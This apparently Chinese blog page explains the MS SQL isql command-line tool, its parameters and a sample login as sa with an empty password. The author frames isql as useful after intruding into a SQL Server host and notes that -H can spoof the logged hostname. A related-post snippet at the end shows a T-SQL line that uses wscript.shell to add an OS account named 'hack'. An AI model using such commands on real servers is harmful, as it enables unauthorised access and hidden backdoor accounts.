MS SQL的ISQL命令詳解

2021-09-05 21:54:19 字數 1768 閱讀 2291

ms sql有簡單方便又高效的管理介面,還用isql幹什麼?什麼是isql工具?isql是用於互動式執行transact-sql語句和指令碼的資料庫工具,isql同

微軟的osql是差不多的工具。比如做一些高階的配置,還比如在客戶端或遠端執行資料庫操作等

工作時,isql是很方便的。比如入侵一台有sql服務的主機,入侵sql server後都能幹什麼?最好的工具的就是isql了。

不 光是微軟的sql支援isql,還有sybase的enterprise版本的資料庫也支援,sybase的unix版本,isql等工具更是有用武之地 了。isql依賴db-library api的應用程式不支援 sql server 2000 版的某些功能。例如,isql無法訪問用ntext資料型別定義的列,並截斷任何超過255位元組的char、varchar、nchar 或 nvarchar 列。它也無法檢索xml 文件形式的結果。除了isql中的這些限制外,osql和isql 支援相同的功能。

isql命令的引數詳解:

isql [-u login id] [-p password] [-s server]

isql [-?] | [-l] | [

| -e }

[-s server] [-h hostname] [-d use database name]

[-l time_out] [-t time_out] [-h headers]

[-s col_separator] [-w column_width] [-a packet_size]

[-e] [-x max_text_size] [-c cmd_end] [-q "query"] [-q "query"]

[-n] [-m error_level] [-r ]

[-i input file] [-o output file] [-p] [-b] [-o] ]

所有引數要區分大小寫,在使用尤其要注意。

-?顯示 isql 開關的語法摘要。

-l列出在本地配置的伺服器和在網路上廣播的伺服器的名稱。

-u login_id使用者登入 id。登入 id 區分大小寫。

-p password 是使用者指定的密碼。如果未使用-p 選項,isql 將提示輸入密碼。如果在命令提示的末尾使用 -p 選項而不帶密碼,isql 使用預設密碼null)。密碼區分大小寫。

-s server_name 指定要連線到的 sql server 預設例項。如果未指定伺服器,isql 將連線 到本地計算機上的 sql server 預設例項。如果要在網路上從遠端計算機執行 isql,則需要此選項。

-h hostname 是使用的客戶端的主機名稱。工作站名稱儲存在 sysprocesses.hostname 中並由 sp_who 顯示。如果未指定,則採用當前計算機名稱。用這個可以欺騙sql server中程序資訊中顯示的主機名。

-d use database name,用於指定使用資料庫名。

-i input file,用於指定裝載的sql語句檔案。當你不想輸入太多sql語句時,你可以寫好在乙個檔案,用這個引數,作為批處理來執行。

以上這些基本上足夠用了,下面以伺服器abc為例,使用者名稱sa,密碼為了空,用isql登入資料庫db:

isql -u sa -p -s abc -d db

連線成功的話,在「1>」後面輸入sql語句,回車,第二行輸入go回車,就執行了上一句sql語句。

sql語句可以分多行輸入,直到你執行「go」提交後才執行sql語句。

quit可以退出當前互動式命行模式。

mssql 加帳號命令

加nt帳號 declare cmd int exec sp oacreate wscript.shell cmd output exec sp oamethod cmd,run null,net user hack hack add 0 true declare cmd int exec sp oa...

MS SQL資料型別詳解

資料型別 型別 描 述 bit 整型 bit 資料型別是整型,其值只能是0 1或空值。這種資料型別用於儲存只有兩種可能值的資料,如yes 或no true 或fa lse on 或off int 整型 int 資料型別可以儲存從 231 2147483648 到231 2147483 647 之間的...

MS SQL資料型別詳解

資料型別 型別 描 述 bit 整型 bit 資料型別是整型,其值只能是0 1或空值。這種資料型別用於儲存只有兩種可能值的資料,如yes 或no true 或fa lse on 或off int 整型 int 資料型別可以儲存從 231 2147483648 到231 2147483 647 之間的...